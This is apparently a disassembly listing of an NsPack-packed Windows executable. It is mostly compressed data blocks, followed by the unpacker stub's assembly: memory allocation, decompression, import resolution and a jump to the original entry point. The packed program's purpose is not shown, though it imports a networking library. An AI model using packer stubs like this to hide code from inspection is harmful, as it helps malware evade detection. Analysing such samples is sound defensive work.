		dd 47F4C33Ch, 401BF4E5h, 0F1FCB505h, 0E1D8E38Eh, 9BD0E1EFh
		dd 0FF0DB4D6h, 0E72FE64Eh, 658E4A24h, 155C243Ah, 0CFA985FAh
		dd 0F2D36763h, 74E5A109h, 307B5205h, 0A6B19014h, 0DE33BA2Ah
		dd 45D2A490h, 83524ABh,	6BBC1BD2h, 9E6E47A9h, 0AD91FF0Eh
		dd 2C0205BFh, 57C6B60Ah, 99E3C8B0h, 0F4756379h,	13D53DE2h
		dd 4EAB4C3Ch, 80D8630h,	211733BFh, 0DB783034h, 480816D4h
		dd 0D517FCA8h, 392D87BBh, 94412279h, 278AB9A7h,	0D84F256Ch
		dd 35A78264h, 0B2F393F9h, 0D1F7A877h, 8DB8F138h, 0C7B09487h
		dd 0B55652CDh, 8EC023B9h, 7B7AE076h, 31278D4Ch,	0FC29065Bh
		dd 4D6B0F80h, 0F40DC399h, 7AAAA9FDh, 0BC75E70Bh, 0DC00E72h
		dd 0FA30320Bh, 0FC9870E6h, 6C1B2F26h, 6699FFD1h, 0AD534A21h
		dd 0DFA6F05Ah, 0E960445Bh, 0CD50CD66h, 648210C1h, 8F1A809Eh
		dd 45424665h, 0FEBFD3D9h, 0EDD25C00h, 0EE3116B5h, 0B0E5462Ah
		dd 7E8D887Fh, 5F54DD01h, 0EF50AE27h, 0FA7F4F6Bh, 0EED019CEh
		dd 0DDA39FDDh, 0CA4AAB6Eh, 0CC1713F1h, 5D64A54Bh, 0FDC6D0C0h
		dd 5A473DD6h, 0EC05663Fh, 0F8BA2A36h, 0A1E51ECh, 0E31D7714h
		dd 43BA5171h, 655DF4BFh, 0A0573532h, 643837B6h,	0BA437238h
		dd 5763900Fh, 3E2288B2h, 373512F4h, 6EBAD723h, 5237A14Eh
		dd 2312F697h, 0DD781705h, 0CC2DD7D4h, 0BBB43007h, 0E048CDF4h
		dd 0A0528750h, 0C408FCC0h
		dd 5D8AE459h, 74125660h, 4D01CDA2h, 73D44CD5h, 0F97CD15h
		dd 0E808C94Eh, 0FC8F33Ah, 672235FDh, 7778C470h,	22C1D2A2h
		dd 0F1031826h, 0EE6CEEB1h, 9913D15Bh, 0F88C4BE9h, 57008CF9h
		dd 0CEB16745h, 72894C40h, 0E95285A5h, 2D901486h, 2FF7C833h
		dd 8A9EA836h, 0EBFC325Dh, 55F8672Ch, 2BA68205h,	61A7E16Eh
		dd 0D6F0C5A7h, 0B6DAB126h, 9130725h, 547CB20Dh,	99D0C9E0h
		dd 0FAEAF587h, 616A0C83h, 7F151E77h, 0EAB1529Bh, 203AF981h
		dd 3F7FD219h, 7E00D5D6h, 0B58C5F55h, 0B70E1BCAh, 4F3238C3h
		dd 26355CC5h, 4BD8h, 8CAA53E7h,	8CB74238h, 16051C2h, 0B8841B8Ah
		dd 0A8D30E62h, 32F451Eh, 0E1A9E8F5h, 24CE1D9h, 862DBF1Bh
		dd 15B4542Ch, 0D4FF8A8Bh, 0BD175587h, 0BDD7EC55h, 93F18D8Fh
		dd 0FC2D083Ah, 4FDB6502h, 8CFA5BE3h, 0B84A55Bh,	0D7809CCDh
		dd 0F1D4F977h, 10D2FDE2h, 0C60D916h, 49039CCBh,	3E1FC32Bh
		dd 3399856Fh, 0F1CD8FDEh, 1517D620h, 40FFE547h,	14282575h
		dd 0D3E33C73h, 601E48D7h, 0B9AAE6D4h, 24B6D37Fh, 0E6F77B92h
		dd 94181312h, 842992DDh, 0B90C3466h, 53DA446h, 0A87654F6h
		dd 0ABDEA35Fh, 0D77FA271h, 0C7B3299Fh, 86B1B16Ah, 0EE48DF7Eh
		dd 0A9AD6130h, 0F96C788Ah, 70CC5CE0h, 0E853D394h, 4C617141h
		dd 833C62D4h, 126F999Ah, 13F497E9h, 8CB12D84h, 0D9FC70BFh
		dd 9D1EC145h, 3D613E53h, 5815AAD4h, 24F6162Bh, 0AA3576F9h
		dd 0F91B882h, 0E4B69FCDh, 9505A812h, 0A0A87063h, 8C03594Ch
		dd 82058CACh, 997C9F24h, 0FE5AE813h, 8ADCBC1Eh,	0FEB33095h
		dd 0E926A469h, 0CE444BFEh, 3F0C1E3Ah, 6F571DAh,	2384F435h
		dd 1237CFCCh, 0EF9E3497h, 0AAC7F5D8h, 0CE24487Ah, 0B2CDA68Ah
		dd 0D89B8F7Fh, 0A15934E1h, 1CB65458h, 81F79692h, 0E472A11Bh
		dd 0D09D0AFEh, 0EDA9F297h, 300CD2B5h, 2EF37B21h, 0D62AD653h
		dd 2AC30ABh, 438E6CB3h,	25A2CFE8h, 9DE5640h, 7423952Eh
		dd 0E6F7F517h, 0F170AA71h, 31191A47h, 0ACA7A3BFh, 1ABAB80Dh
		dd 2C66BD39h, 9E7CBEBFh, 61B4042Dh, 0F5A6D5A8h,	0E56C70E2h
		dd 8EC5A7AFh, 31BBC17Bh, 0A03069A7h, 0DEA08CAh,	43485D70h
		dd 6357735Dh, 3467A705h, 6FC93868h, 1043D7C9h, 0B953F542h
		dd 0F1615850h, 0B8BC5CA6h, 0BFD34428h, 0BB2BB28Dh, 0C6B9E217h
		dd 60624A95h, 9451F780h, 9EF9ED18h, 0BFB43649h,	0B01DAEA8h
		dd 0CB3CD3D5h, 0BDC3DCF5h, 92BEFFEFh, 0C19CEE54h, 0F496244Bh
		dd 914F5B8Ch, 7D25EE50h, 557FEDF1h, 0BF73FEB2h,	0EA9A19D9h
		dd 7E324492h, 8B01C31Bh, 3DAD177h, 0AACE2F48h, 2B2761AFh
		dd 0C5E5BCE6h, 74C640Fh, 0C585E593h, 0B2CE89B3h, 0A574EBCFh
		dd 0DDD2D434h, 63BFE91Bh, 0B5422A82h, 0CF16D5BCh, 2314D903h
		dd 0E7825CECh, 0B5EF8213h, 294D7ED7h, 856A6CF2h, 7A434DC1h
		dd 42C33675h, 4B115EA3h, 7E974695h, 8DCE8BBh, 4452999Eh
		dd 55BFC763h, 0D505A418h, 350493D4h, 49482A1Eh,	1639B072h
		dd 6686F937h, 8A66D89Eh, 664829ACh, 75F7DA6Dh, 7FCC1F71h
		dd 29329E6Ah, 0EE5F5CEEh, 6FBEC96Ah, 0B7E7644Eh, 0B555276Ch
		dd 0A3F2B864h, 420B44A0h, 6A371E43h, 31BD1336h,	0AE6E4645h
		dd 9730CDBh, 0F834997Bh, 0B6EE2DAEh, 3F54F31h, 0D2991386h
		dd 0CEEEB35Ch, 0E8D04F5Ch, 0D387E8A6h, 3A2A2F17h, 0E53F2E1Ah
		dd 79BE7FC4h, 8B31DAF9h, 0AF29D4BDh, 80A78E7Fh,	0DEFD8334h
		dd 0C884213Bh, 0B51BCC18h, 28E265CDh, 0D01AF3B2h, 2EC2E2CDh
		dd 62B3FD62h, 21277279h, 0DA69CF0Ch, 0C7C75D40h, 0AADC7F47h
		dd 0D0F5D9FAh, 461080FDh, 9C874016h, 0F4DBC3B4h, 0D3862E2Ch
		dd 0FAA66D0Dh, 81B35A1Fh, 0A3AEA457h, 70A36655h, 37B9CF7h
		dd 0CEC237A1h, 0E4599EDBh, 0F536CD12h, 280D735h, 0C97BE115h
		dd 57C8A060h, 3F02A278h, 90BA1AC5h, 0F760F268h,	0D62F8121h
		dd 1ECFB917h, 0E78F049Ch, 0A5B88B10h, 1BDF3630h, 0C10F43D5h
		dd 2F7A20FDh, 21A75284h, 8A2706D6h, 0ABC87C65h,	0A768A69Eh
		dd 9145889h, 65D19207h,	8ED10E9Bh, 0D5FCD96h, 4088E50Eh
		dd 9ED9D077h, 425A0AC0h, 940538E9h, 8646A36Bh, 98DAFAF9h
		dd 98D589A6h, 8D49378Ah, 7663489Eh, 0F07439C2h,	35FBEADEh
		dd 48DF1488h, 0FFE6E060h, 0BA11C76Eh, 8ACBDD5Ch, 0F4A9FD67h
		dd 0B9000102h, 3678D870h, 66A033EBh, 8A52DEBAh,	993F47B2h
		dd 886A2187h, 0BE33D252h, 2EA85F3h, 0C0222D22h,	0E367AFC1h
		dd 0B0C8D7B4h, 82CE2E61h, 7A1857FDh, 0B7B6F16Ah, 0AC8FDCBEh
		dd 0B3E844C0h, 0FBB27FFDh, 2BEE6602h, 113A7580h, 37C7E49Dh
		dd 84B89990h, 4A85CEBCh, 0D56614D0h, 1B005F10h,	9FD75CA5h
		dd 2C877A2Eh, 0B5F69514h, 2BB92452h, 0BEF639CFh, 945740C4h
		dd 6ADF8EDh, 0AC28BA7Ah, 92C636ABh, 9FB766CAh, 2F3983A5h
		dd 8C8941FAh, 53AC37B5h, 880BEA4Ah, 9EAD7B5h, 0D8F05E3Fh
		dd 6867D2E0h, 0ED1E53F8h, 73F74F27h, 271E0A8Dh,	74D7D187h
		dd 0DEFFC683h, 0FF1F1EB8h, 5D7C41EDh, 59FA13BFh, 88A85590h
		dd 6F91423Dh, 0F2513476h, 5ADEDE25h, 7D673813h,	835CCD47h
		dd 3C01EA5Dh, 4211E2D4h, 14E87D24h, 0FD23A139h,	0CF3DD849h
		dd 5CB63362h, 86A38343h, 0B332E3F1h, 7C14FFC1h,	0AC1F1878h
		dd 0B911AA3Bh, 5C675E34h, 0F3006CCh, 6B5F92E9h,	1F03552Dh
		dd 3242D4EBh, 0F238FCD0h, 3C004CE7h, 2A1AFF28h,	7EC01CE5h
		dd 29FCFB26h, 544E90F6h, 7574B3D3h, 879F9BD3h, 5264h, 610h dup(0)
		dd 14h,	0
		dd 6B93Ch, 5D893FDh, 0C77E8h, 12h, 0Dh,	6B9D7h,	71AB1836h
		dd 5, 3	dup(0)
		dd 65470000h, 6F725074h, 64644163h, 73736572h, 4D746547h
		dd 6C75646Fh, 6E614865h, 41656C64h, 64616F4Ch, 7262694Ch
		dd 41797261h, 74FFh, 80h, 3E6h dup(0)
_nsp0		ends

; Section 2. (virtual address 0007C000)
; Virtual size			: 00026000 ( 155648.)
; Section size in file		: 00026000 ( 155648.)
; Offset to raw	data for section: 0007C000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp1		segment	para public 'CODE' use32
		assume cs:_nsp1
		;org 47C000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 906h, 0
		dd 7B000h, 0
		dd 400000h, 0
		dd 71AB0000h, 7	dup(0)
		dd 340000h, 0
		dd offset sub_401000
		align 8
		dd 1, 0
		dd 103h, 6 dup(0)
		dd 2, 168h, 2 dup(0)
		dd 1, 0
		dd offset sub_401000
		dd 0
		dd 25180h, 3 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h
		dd 77E75CB5h, 0
		dd 71AB1836h, 4	dup(0)
		dd 7C0FCh, 7C09Ch, 3 dup(0)
		dd 7C109h, 7C0B8h, 5 dup(0)
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 32535700h, 2E32335Fh
		dd 4C4C44h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 74654700h
		dd 636F7250h, 72646441h, 737365h, 69560000h, 61757472h
		dd 6F72506Ch, 74636574h, 56000000h, 75747269h, 6C416C61h
		dd 636F6Ch, 69560000h, 61757472h, 6572466Ch, 65h, 74697845h
		dd 636F7250h, 737365h, 73190000h, 91F1C3F1h
; ---------------------------------------------------------------------------
		adc	edi, ebp

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 0047C53A SIZE 00000009 BYTES

		pushf
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7
		lea	ecx, [ebp-0FEh]
		cmp	byte ptr [ecx],	1
		jz	loc_47C3D6
		mov	byte ptr [ecx],	1
		mov	eax, ebp
		sub	eax, [ebp-16Ah]
		mov	[ebp-16Ah], eax
		add	[ebp-13Ah], eax
		lea	esi, [ebp-0F6h]
		add	[esi], eax
		push	ebp
		push	esi
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-0D2h]
		test	eax, eax
		jz	loc_47C53A
		mov	[ebp-142h], eax
		call	$+5
		pop	ebx
		mov	ecx, 367h
		add	ebx, ecx
		push	eax
		push	ebx
		call	sub_47C49B
		pop	esi
		pop	ebp
		mov	esi, [esi]
		mov	edi, ebp
		add	edi, [ebp-17Ah]
		mov	ebx, edi
		cmp	dword ptr [edi], 0
		jnz	short loc_47C208
		add	edi, 4
		mov	ecx, 0
		jmp	short loc_47C21E
; ---------------------------------------------------------------------------

loc_47C208:				; CODE XREF: start+82j
		mov	ecx, 1
		add	edi, [ebx]
		add	ebx, 4

loc_47C212:				; CODE XREF: start+CFj
		cmp	dword ptr [ebx], 0
		jz	short loc_47C24B
		add	[ebx], edx
		mov	esi, [ebx]
		add	edi, [ebx+4]

loc_47C21E:				; CODE XREF: start+8Cj
		push	edi
		push	ecx
		push	ebx
		push	dword ptr [ebp-0CEh]
		push	dword ptr [ebp-0D2h]
		mov	edx, esi
		mov	ecx, edi
		mov	eax, [ebp-142h]
		add	eax, 5AAh
		call	eax
		pop	ebx
		pop	ecx
		pop	edi
		cmp	ecx, 0
		jz	short loc_47C24B
		add	ebx, 8
		jmp	short loc_47C212
; ---------------------------------------------------------------------------

loc_47C24B:				; CODE XREF: start+9Bj	start+CAj
		push	8000h
		push	0
		push	dword ptr [ebp-142h]
		call	dword ptr [ebp-0CEh]
		lea	esi, [ebp-13Ah]
		mov	ecx, [esi+8]
		lea	edx, [esi+10h]
		mov	esi, [esi]
		mov	edi, esi
		cmp	ecx, 0
		jz	short loc_47C2B2

loc_47C273:				; CODE XREF: start+100j start+10Ej
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h

loc_47C278:				; CODE XREF: start+136j
		cmp	al, 1
		ja	short loc_47C273
		mov	eax, [edi]
		cmp	byte ptr [edx+1], 0
		jz	short loc_47C298
		mov	bl, [edx]
		cmp	[edi], bl
		jnz	short loc_47C273
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		jmp	short loc_47C2A2
; ---------------------------------------------------------------------------

loc_47C298:				; CODE XREF: start+108j
		mov	bl, [edi+4]
		xchg	al, ah
		rol	eax, 10h
		xchg	al, ah

loc_47C2A2:				; CODE XREF: start+11Cj
		sub	eax, edi
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		sub	bl, 0E8h
		mov	eax, ebx
		loop	loc_47C278

loc_47C2B2:				; CODE XREF: start+F7j
		call	sub_47C3F1
		lea	ecx, [ebp-126h]
		mov	eax, [ecx+8]
		cmp	eax, 0
		jz	loc_47C34A
		mov	esi, edx
		sub	esi, [ecx+10h]
		jz	short loc_47C34A
		mov	[ecx+10h], esi
		lea	esi, [ebp-0F6h]
		mov	esi, [esi]
		lea	ebx, [esi-4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_47C2EF
		mov	edi, edx
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]
		jmp	short loc_47C2F7
; ---------------------------------------------------------------------------

loc_47C2EF:				; CODE XREF: start+169j
		mov	edi, esi
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]

loc_47C2F7:				; CODE XREF: start+173j start+18Ej
		xor	eax, eax
		mov	al, [edi]
		inc	edi
		or	eax, eax
		jz	short loc_47C320
		cmp	al, 0EFh
		ja	short loc_47C30A

loc_47C304:				; CODE XREF: start+19Dj start+1A4j
		add	ebx, eax
		add	[ebx], ecx
		jmp	short loc_47C2F7
; ---------------------------------------------------------------------------

loc_47C30A:				; CODE XREF: start+188j
		and	al, 0Fh
		shl	eax, 10h
		mov	ax, [edi]
		add	edi, 2
		or	eax, eax
		jnz	short loc_47C304
		mov	eax, [edi]
		add	edi, 4
		jmp	short loc_47C304
; ---------------------------------------------------------------------------

loc_47C320:				; CODE XREF: start+184j
		xor	ebx, ebx
		xchg	edi, esi
		mov	eax, [esi]
		cmp	eax, 0
		jz	short loc_47C34A

loc_47C32B:				; CODE XREF: start+1BCj
		lodsd
		or	eax, eax
		jz	short loc_47C338
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_47C32B
; ---------------------------------------------------------------------------

loc_47C338:				; CODE XREF: start+1B4j
		xor	ebx, ebx
		shr	ecx, 10h

loc_47C33D:				; CODE XREF: start+1CEj
		lodsd
		or	eax, eax
		jz	short loc_47C34A
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_47C33D
; ---------------------------------------------------------------------------

loc_47C34A:				; CODE XREF: start+149j start+154j ...
		lea	esi, [ebp-16Ah]
		mov	edx, [esi]
		lea	esi, [ebp-10Eh]
		mov	al, [esi]
		cmp	al, 1
		jnz	short loc_47C39D
		add	edx, [esi+4]
		push	esi
		push	edx
		push	esi
		push	4
		push	100h
		push	edx
		call	dword ptr [ebp-0D6h]
		pop	edi
		pop	esi
		cmp	eax, 1
		jnz	loc_47C53A
		add	esi, 8
		mov	ecx, 8
		rep movsb
		sub	esi, 0Ch
		sub	edi, 8
		push	esi
		push	dword ptr [esi-4]
		push	100h
		push	edi
		call	dword ptr [ebp-0D6h]

loc_47C39D:				; CODE XREF: start+1E2j
		push	ebp
		pop	ebx
		sub	ebx, 8
		xor	ecx, ecx
		mov	cl, [ebx]
		cmp	cl, 0
		jz	short loc_47C3D6
		inc	ebx
		lea	esi, [ebp-16Ah]
		mov	edx, [esi]

loc_47C3B7:				; CODE XREF: start+25Aj
		push	esi
		push	ecx
		push	ebx
		push	edx
		push	esi
		push	dword ptr [ebx]
		push	dword ptr [ebx+4]
		mov	eax, [ebx+8]
		add	eax, edx
		push	eax
		call	dword ptr [ebp-0D6h]
		pop	edx
		pop	ebx
		pop	ecx
		pop	esi
		add	ebx, 0Ch
		loop	loc_47C3B7

loc_47C3D6:				; CODE XREF: start+14j	start+232j
		mov	eax, 0
		cmp	eax, 0
		jz	short loc_47C3EA
		popa
		popf
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_47C3EA:				; CODE XREF: start+264j
		popa
		popf
		jmp	sub_401000
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_47C3F1	proc near		; CODE XREF: start:loc_47C2B2p
		mov	esi, [ebp-172h]
		or	esi, esi
		jz	loc_47C496
		mov	edx, [ebp-16Ah]
		add	esi, edx

loc_47C407:				; CODE XREF: sub_47C3F1+61j
		cmp	dword ptr [esi], 0
		jnz	short loc_47C41A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_47C41A
		cmp	dword ptr [esi+8], 0
		jnz	short loc_47C41A
		jmp	short loc_47C494
; ---------------------------------------------------------------------------

loc_47C41A:				; CODE XREF: sub_47C3F1+19j
					; sub_47C3F1+1Fj ...
		mov	ebx, [esi+8]
		add	ebx, edx
		push	ebx
		push	edx
		push	esi
		lea	edi, [ebp-7Eh]
		add	edi, [esi+4]
		add	esi, 0Ch
		push	edi
		call	dword ptr [ebp-0DEh]
		pop	edi
		pop	edx
		pop	ebx
		cmp	eax, 0
		jz	short loc_47C496
		mov	[ebp-162h], eax
		add	edi, [esi]
		add	esi, 4

loc_47C448:				; CODE XREF: sub_47C3F1+A1j
		xor	ecx, ecx
		mov	cl, [esi]
		cmp	ecx, 0
		jnz	short loc_47C454
		inc	esi
		jmp	short loc_47C407
; ---------------------------------------------------------------------------

loc_47C454:				; CODE XREF: sub_47C3F1+5Ej
		mov	eax, edi
		add	edi, ecx
		push	edx
		push	ebx
		push	eax
		cmp	byte ptr [eax],	0FFh
		jnz	short loc_47C468
		inc	eax
		mov	eax, [eax]
		and	eax, 7FFFFFFFh

loc_47C468:				; CODE XREF: sub_47C3F1+6Dj
		mov	cl, [edi]
		mov	byte ptr [edi],	0
		push	ecx
		push	eax
		push	dword ptr [ebp-162h]
		call	dword ptr [ebp-0DAh]
		pop	ecx
		pop	edx
		pop	ebx
		pop	edx
		cmp	eax, 0
		jz	short loc_47C496
		mov	[edi], cl
		mov	[esi-4], eax
		push	dword ptr [esi-4]
		pop	dword ptr [ebx]
		add	ebx, 4
		inc	esi
		jmp	short loc_47C448
; ---------------------------------------------------------------------------

loc_47C494:				; CODE XREF: sub_47C3F1+27j
		clc
		retn
; ---------------------------------------------------------------------------

loc_47C496:				; CODE XREF: sub_47C3F1+8j
					; sub_47C3F1+4Aj ...
		jmp	loc_47C53A
sub_47C3F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_47C49B	proc near		; CODE XREF: start+6Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0047C536 SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld
		mov	dl, 80h

loc_47C4A7:				; CODE XREF: sub_47C49B+12j
		movsb

loc_47C4A8:				; CODE XREF: sub_47C49B+34j
					; sub_47C49B+7Dj
		call	sub_47C51A
		jnb	short loc_47C4A7
		xor	ecx, ecx
		call	sub_47C51A
		jnb	short loc_47C4D1
		xor	eax, eax
		call	sub_47C51A
		jnb	short loc_47C4E2
		mov	al, 10h

loc_47C4C3:				; CODE XREF: sub_47C49B+2Fj
		call	sub_47C51A
		adc	al, al
		jnb	short loc_47C4C3
		jnz	short loc_47C50F
		stosb
		jmp	short loc_47C4A8
; ---------------------------------------------------------------------------

loc_47C4D1:				; CODE XREF: sub_47C49B+1Bj
		call	sub_47C526
		dec	ecx
		loop	loc_47C4EE
		mov	eax, ebp
		call	sub_47C524
		jmp	short loc_47C510
; ---------------------------------------------------------------------------

loc_47C4E2:				; CODE XREF: sub_47C49B+24j
		lodsb
		shr	eax, 1
		jz	short loc_47C536
		adc	ecx, 2
		mov	ebp, eax
		jmp	short loc_47C510
; ---------------------------------------------------------------------------

loc_47C4EE:				; CODE XREF: sub_47C49B+3Cj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		mov	ebp, eax
		call	sub_47C524
		cmp	eax, 7D00h
		jnb	short loc_47C50E
		cmp	eax, 500h
		jnb	short loc_47C50F
		cmp	eax, 7Fh
		ja	short loc_47C510

loc_47C50E:				; CODE XREF: sub_47C49B+65j
		inc	ecx

loc_47C50F:				; CODE XREF: sub_47C49B+31j
					; sub_47C49B+6Cj
		inc	ecx

loc_47C510:				; CODE XREF: sub_47C49B+45j
					; sub_47C49B+51j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_47C4A8
sub_47C49B	endp


; =============== S U B	R O U T	I N E =======================================



sub_47C51A	proc near		; CODE XREF: sub_47C49B:loc_47C4A8p
					; sub_47C49B+16p ...
		add	dl, dl
		jnz	short locret_47C523
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_47C523:				; CODE XREF: sub_47C51A+2j
		retn
sub_47C51A	endp


; =============== S U B	R O U T	I N E =======================================



sub_47C524	proc near		; CODE XREF: sub_47C49B+40p
					; sub_47C49B+5Bp
		xor	ecx, ecx
sub_47C524	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_47C526	proc near		; CODE XREF: sub_47C49B:loc_47C4D1p
		inc	ecx

loc_47C527:				; CODE XREF: sub_47C526+Dj
		call	sub_47C51A
		adc	ecx, ecx
		call	sub_47C51A
		jb	short loc_47C527
		retn
sub_47C526	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47C49B

loc_47C536:				; CODE XREF: sub_47C49B+4Aj
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_47C49B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_47C53A:				; CODE XREF: start+51j	start+1FDj ...
		push	0
		call	dword ptr [ebp-0CAh]
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		mov	edx, [ecx]
		cmp	edx, [ecx+4]
		jnz	short loc_47C556
		mov	dword ptr [ecx+eax*2], 2300110h
		or	al, 0FFh
		retn
; ---------------------------------------------------------------------------

loc_47C556:				; CODE XREF: .nsp1:0047C54Aj
		pop	es
		mov	al, [edx]
		inc	edx
		mov	[ecx], edx
		pusha
		mov	eax, [esp+4]
		sbb	al, 83h
		popa
		adc	[ebx], dh
		or	[ebx+eax*4], cl
		push	esi
		push	ds
		and	[ebx], al
		rol	byte ptr [ecx+49h], 1
		or	bh, bh
		push	5
		jmp	short loc_47C585
; ---------------------------------------------------------------------------
		dw 5E58h
		dd 239C9E8h, 0F0CE48Bh,	0C1C0B600h
		db 0E2h
; ---------------------------------------------------------------------------

loc_47C585:				; CODE XREF: .nsp1:0047C574j
		or	[ebx], cl
		retn	3E4Eh
; ---------------------------------------------------------------------------
		dw 4189h
		dd 5EEA750Fh, 5300040Eh, 8718B56h, 85DB3307h, 798057D2h
		dd 762C7E0Ch, 0D1EA1C55h, 3BE380EEh, 2B0572FEh,	0CB1D83E8h
		dd 0C5778101h, 0C1107360h, 0E8081AE6h, 41848985h, 4DF800E7h
		dd 675DD875h, 4C5F6289h, 8B1C5E7Ah, 8CB35BC3h, 614F97F2h
		dd 39B70F57h, 3CC1C2DCh, 0AF1E0BE8h, 0C7E00C7h,	4073F83Bh
		dd 0BC468931h, 1F566C0h, 0BFD0348Eh, 2B98F01Eh,	0FF00C1FAh
		dd 66F80305h, 7F813989h, 195CA87Eh, 0E8CE148Bh,	4E889F2Ah
		dd 381DE164h, 0DFF166BAh, 0EB0EE072h, 4FD02B42h, 89566DF8h
		dd 8FA06FD7h, 0D00AD20Ch, 0EA50C1E6h, 86DFC29Eh, 0FEE742A3h
		dd 5F40021Fh, 0D681C35Eh, 0BB5351ECh, 94DA3E16h, 1E8DB85h
		dd 891A7EF9h, 0B240FC5Dh, 708D0855h, 180CE634h,	0FD3FE83Eh
		dd 4DE6C603h, 0EB75FC0Ch, 242C25Eh, 0E2D3CB8Bh,	0C9045B5Fh
		dd 3A191F95h, 0F8DD8976h, 0C357309Ch, 7D3942FFh, 0FBD98BC9h
		dd 207EFCA8h, 12785665h, 1E0C4203h, 0BD2385E8h,	614D0CFh
		dd 9E003D3h, 3B47FC45h,	0E27C4812h, 2414151Bh, 6D61C988h
		dd 0DAE899F2h, 6E4940ECh, 54E8D3E4h, 380BABCFh,	0BE493DC6h
		dd 9FEA7C14h, 35A05B2Bh, 0D29C1950h, 435294FCh,	8751BC4h
		dd 65D0D1B8h, 0EEEC1D8h, 1468D07h, 326E0CFh, 471B76C3h
		dd 0D07396E8h, 2D80BDBh, 1C75F03Bh, 40A1FB81h, 0B21AEBD3h
		dd 221BB657h, 59A276E8h, 1C99D88Bh, 8AB88AE6h, 566585C3h
		dd 47FA820Eh, 417CE8F1h, 75C01385h, 0C2A4616h, 403AC57h
		dd 4C8D036Ah, 0E85AB030h, 0EB31C7DCh, 24EC03Bh,	32F8D78Bh
		dd 755724A8h, 104B1B65h, 0D8C2422h, 0B54E919Fh,	8C08301h
		dd 406A11EBh, 2048EF8h,	0CA213A1h, 67D2D210h, 384ABE2Ch
		dd 4E0813F9h, 4D41F154h, 24C8030Ch, 0B8704733h,	1A52A4F1h
		dd 0DCC9283Dh, 0F44DCCEBh, 28E806C8h, 0D210E6E5h, 4B661AD6h
		dd 90F84D41h, 0F020EC06h, 0E7D3E403h, 5073605h,	4ADB325Ah
		dd 0CCE1C4Fh, 55604D39h, 0DC2E1060h, 0D6A0873h,	0A0E95802h
		dd 769842E1h, 0D1C87540h, 0DCA8B7F9h, 0F3FE202Fh, 61C913ABh
		dd 75FF0A66h, 14032018h, 0C84D8D02h, 0A3FCFAE8h, 80207D8Eh
		dd 0D470860Fh, 10128A5Dh, 20861923h, 0DE89C1D8h, 66851860h
		dd 0F4EA13A3h, 2061AA42h, 0C29B4604h, 55624E73h, 46FD4464h
		dd 82766212h, 474223DCh, 8B1A580h, 20E74D2Ah, 0A590C380h
		dd 0C59CA3h, 8DC203A1h,	5904004h, 0FF83091Dh, 6C8806E4h
		dd 67D0F0Eh, 3F46587h, 243D10EBh, 9E05BA0Ah, 65B903EFh
		dd 0A50D060Ah, 830CEF4h, 0F6204974h, 0F8B02B39h, 48A1C9Ah
		dd 0AA88103Ch, 65A09A18h, 7783FE1Dh, 4708816Ch,	8AE76C0Eh
		dd 1C54D867h, 0F2836A94h, 7EAE0843h, 33340180h,	42E894C2h
		dd 3BC1A362h, 0AF1B50C3h, 2DB2E1C7h, 0E823983Ah, 0A62F519Eh
		dd 45752F8Eh, 920F47A4h, 0D18A0395h, 0E84605C1h, 75184E86h
		dd 0FEE392Ch, 558B8435h, 1FF0B514h, 9D0707FFh, 0F8912BC0h
		dd 9C1448Dh, 39F4F943h,	1338AD3h, 4A31FF33h, 4AE91288h
		dd 0B058A4CEh, 75184622h, 0EC48C305h, 2B2B27EBh, 0E80A8AC8h
		dd 0F0E1182Eh, 76BA09EBh, 87E410E4h, 0EC1D38B5h, 0EDB419B6h
		dd 0A2E613A8h, 8E8481DDh, 32480A68h, 0C2D5AA9Bh, 91EA6299h
		dd 0E0DC487Eh, 0BD9E7FDh, 0C2ADE911h, 0F06C8944h, 0DBE41C5Bh
		dd 9D6D0CD1h, 2C591284h, 6648888h, 0A113229h, 9750E81Bh
		dd 2404F8D9h, 34C7CB4h,	0D858247Dh, 3DF25194h, 81062407h
		dd 4B536093h, 549E7414h, 49647C21h, 0D6C7D1E2h,	4AFB2391h
		dd 0BA30CFF9h, 0CC3E98CAh, 7D5D0E2Ah, 0E4511524h, 5EF02B1Dh
		dd 80055E4Eh, 5DD73AE8h, 21EB7001h, 0E1E7C283h,	18A4FB0Fh
		dd 1C00493Eh, 6A50C845h, 44F691F1h, 0DBEB5A0Ah,	8590B4CEh
		dd 0D36284B6h, 648838Eh, 303424C9h, 9E3C80A6h, 393F3A77h
		dd 0D3C1A41Ch, 342429Ch, 40188AC7h, 9413940h, 0D2854A40h
